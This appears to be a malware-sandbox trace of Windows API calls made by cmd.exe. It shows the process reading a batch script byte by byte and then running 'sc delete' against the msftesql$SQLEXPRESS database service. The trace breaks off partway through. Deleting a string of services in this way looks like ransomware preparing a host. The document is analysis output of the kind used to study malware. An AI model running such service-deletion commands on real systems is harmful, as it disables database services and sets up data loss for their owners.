0x0 [0072.204] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.204] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e334, cchWideChar=1 | out: lpWideCharStr="\"ReportServer$OPTIMA\"\nA\"\n") returned 1 [0072.204] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.205] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.205] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.205] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e336, cchWideChar=1 | out: lpWideCharStr="meportServer$OPTIMA\"\nA\"\n") returned 1 [0072.205] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.205] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.205] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.205] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e338, cchWideChar=1 | out: lpWideCharStr="sportServer$OPTIMA\"\nA\"\n") returned 1 [0072.205] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.205] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.205] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.205] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e33a, cchWideChar=1 | out: lpWideCharStr="fortServer$OPTIMA\"\nA\"\n") returned 1 [0072.205] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.205] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.205] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.205] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e33c, cchWideChar=1 | out: lpWideCharStr="trtServer$OPTIMA\"\nA\"\n") returned 1 [0072.205] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.205] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.205] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.205] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e33e, cchWideChar=1 | out: lpWideCharStr="etServer$OPTIMA\"\nA\"\n") returned 1 [0072.205] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.205] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.205] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.205] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e340, cchWideChar=1 | out: lpWideCharStr="sServer$OPTIMA\"\nA\"\n") returned 1 [0072.205] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.206] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.206] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.206] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e342, cchWideChar=1 | out: lpWideCharStr="qerver$OPTIMA\"\nA\"\n") returned 1 [0072.206] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.206] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.206] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.206] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e344, cchWideChar=1 | out: lpWideCharStr="lrver$OPTIMA\"\nA\"\n") returned 1 [0072.206] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.206] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.206] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.206] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e346, cchWideChar=1 | out: lpWideCharStr="$ver$OPTIMA\"\nA\"\n") returned 1 [0072.206] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.206] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.206] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.206] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e348, cchWideChar=1 | out: lpWideCharStr="Ser$OPTIMA\"\nA\"\n") returned 1 [0072.206] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.206] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.206] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.206] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e34a, cchWideChar=1 | out: lpWideCharStr="Qr$OPTIMA\"\nA\"\n") returned 1 [0072.206] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.206] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.206] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.206] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e34c, cchWideChar=1 | out: lpWideCharStr="L$OPTIMA\"\nA\"\n") returned 1 [0072.206] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.206] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.207] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.207] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e34e, cchWideChar=1 | out: lpWideCharStr="EOPTIMA\"\nA\"\n") returned 1 [0072.207] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.207] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.207] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.207] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e350, cchWideChar=1 | out: lpWideCharStr="XPTIMA\"\nA\"\n") returned 1 [0072.207] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.207] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.207] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.207] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e352, cchWideChar=1 | out: lpWideCharStr="PTIMA\"\nA\"\n") returned 1 [0072.207] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.207] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.207] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.207] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e354, cchWideChar=1 | out: lpWideCharStr="RIMA\"\nA\"\n") returned 1 [0072.207] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.207] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.207] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.207] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e356, cchWideChar=1 | out: lpWideCharStr="EMA\"\nA\"\n") returned 1 [0072.207] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.207] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.207] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.207] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e358, cchWideChar=1 | out: lpWideCharStr="SA\"\nA\"\n") returned 1 [0072.207] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.207] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.208] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.208] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e35a, cchWideChar=1 | out: lpWideCharStr="S\"\nA\"\n") returned 1 [0072.208] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.208] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.208] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.208] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e35c, cchWideChar=1 | out: lpWideCharStr="\"\nA\"\n") returned 1 [0072.208] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.208] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.208] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.208] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e35e, cchWideChar=1 | out: lpWideCharStr="\nA\"\n") returned 1 [0072.208] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.208] GetFileType (hFile=0xb8) returned 0x3 [0072.208] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.208] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.208] _get_osfhandle (_FileHandle=1) returned 0x120 [0072.208] GetFileType (hFile=0x120) returned 0x3 [0072.208] _get_osfhandle (_FileHandle=1) returned 0x120 [0072.208] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="sc delete \"msftesql$SQLEXPRESS\"\n", cchWideChar=-1, lpMultiByteStr=0x4a07c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sc delete \"msftesql$SQLEXPRESS\"\n", lpUsedDefaultChar=0x0) returned 33 [0072.208] WriteFile (in: hFile=0x120, lpBuffer=0x4a07c320*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2cf418, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesWritten=0x2cf418*=0x20, lpOverlapped=0x0) returned 1 [0072.208] GetProcessHeap () returned 0x4a0000 [0072.208] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4012) returned 0x4c8630 [0072.208] GetProcessHeap () returned 0x4a0000 [0072.208] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4c8630 | out: hHeap=0x4a0000) returned 1 [0072.209] GetProcessHeap () returned 0x4a0000 [0072.209] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0) returned 0x4c4660 [0072.209] GetProcessHeap () returned 0x4a0000 [0072.209] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x16) returned 0x4b89b0 [0072.209] GetProcessHeap () returned 0x4a0000 [0072.209] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4c) returned 0x4bba10 [0072.209] GetConsoleOutputCP () returned 0x1b5 [0072.209] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a07bfe0 | out: lpCPInfo=0x4a07bfe0) returned 1 [0072.209] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0072.209] GetConsoleTitleW (in: lpConsoleTitle=0x2cf3d0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0072.209] GetProcessHeap () returned 0x4a0000 [0072.209] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x218) returned 0x4b9910 [0072.209] GetProcessHeap () returned 0x4a0000 [0072.209] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x52) returned 0x4b9b30 [0072.209] GetProcessHeap () returned 0x4a0000 [0072.209] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x420) returned 0x4bc5b0 [0072.210] SetErrorMode (uMode=0x0) returned 0x1 [0072.210] SetErrorMode (uMode=0x1) returned 0x0 [0072.210] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x4bc5c0, lpFilePart=0x2cec60 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x2cec60*="Desktop") returned 0x25 [0072.210] SetErrorMode (uMode=0x1) returned 0x1 [0072.210] GetProcessHeap () returned 0x4a0000 [0072.210] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4bc5b0, Size=0x62) returned 0x4bc5b0 [0072.210] GetProcessHeap () returned 0x4a0000 [0072.210] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4bc5b0) returned 0x62 [0072.210] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a06f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0072.210] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0072.210] GetProcessHeap () returned 0x4a0000 [0072.210] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x128) returned 0x4b5b70 [0072.210] GetProcessHeap () returned 0x4a0000 [0072.210] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x240) returned 0x4a1ab0 [0072.210] GetProcessHeap () returned 0x4a0000 [0072.210] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4a1ab0, Size=0x12a) returned 0x4a1ab0 [0072.210] GetProcessHeap () returned 0x4a0000 [0072.210] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4a1ab0) returned 0x12a [0072.210] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a06f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0072.210] GetProcessHeap () returned 0x4a0000 [0072.210] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xe8) returned 0x4b97e0 [0072.210] GetProcessHeap () returned 0x4a0000 [0072.210] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b97e0, Size=0x7e) returned 0x4b97e0 [0072.210] GetProcessHeap () returned 0x4a0000 [0072.210] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4b97e0) returned 0x7e [0072.210] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0072.210] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0xffffffffffffffff [0072.211] GetLastError () returned 0x2 [0072.211] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0xffffffffffffffff [0072.211] GetLastError () returned 0x2 [0072.211] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0072.211] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0x4b9870 [0072.211] FindClose (in: hFindFile=0x4b9870 | out: hFindFile=0x4b9870) returned 1 [0072.211] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.COM", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0xffffffffffffffff [0072.211] GetLastError () returned 0x2 [0072.211] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.EXE", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0x4b9870 [0072.212] FindClose (in: hFindFile=0x4b9870 | out: hFindFile=0x4b9870) returned 1 [0072.212] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0072.212] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0072.212] GetConsoleTitleW (in: lpConsoleTitle=0x2cef20, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0072.212] GetProcessHeap () returned 0x4a0000 [0072.212] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x21c) returned 0x4b9180 [0072.212] GetConsoleTitleW (in: lpConsoleTitle=0x4b9190, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0072.212] GetProcessHeap () returned 0x4a0000 [0072.212] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b9180, Size=0xb8) returned 0x4b9180 [0072.212] GetProcessHeap () returned 0x4a0000 [0072.212] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4b9180) returned 0xb8 [0072.212] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - sc delete \"msftesql$SQLEXPRESS\"") returned 1 [0072.213] GetProcessHeap () returned 0x4a0000 [0072.213] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b9180 | out: hHeap=0x4a0000) returned 1 [0072.213] InitializeProcThreadAttributeList (in: lpAttributeList=0x2cecd8, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x2cec98 | out: lpAttributeList=0x2cecd8, lpSize=0x2cec98) returned 1 [0072.213] UpdateProcThreadAttribute (in: lpAttributeList=0x2cecd8, dwFlags=0x0, Attribute=0x60001, lpValue=0x2cec88, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x2cecd8, lpPreviousValue=0x0) returned 1 [0072.213] GetStartupInfoW (in: lpStartupInfo=0x2cedf0 | out: lpStartupInfo=0x2cedf0*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0x120, hStdError=0x120)) [0072.213] GetProcessHeap () returned 0x4a0000 [0072.213] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x20) returned 0x4b4610 [0072.213] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0072.213] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38 [0072.213] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0072.213] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0072.213] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0072.213] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0072.213] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0072.213] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0072.213] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0072.213] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0072.213] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0072.213] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0072.213] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0072.213] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0072.213] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0072.213] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0072.214] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0072.214] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0072.214] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0072.214] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0072.214] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0072.214] _wcsnicmp (_String1="COPYCMD", 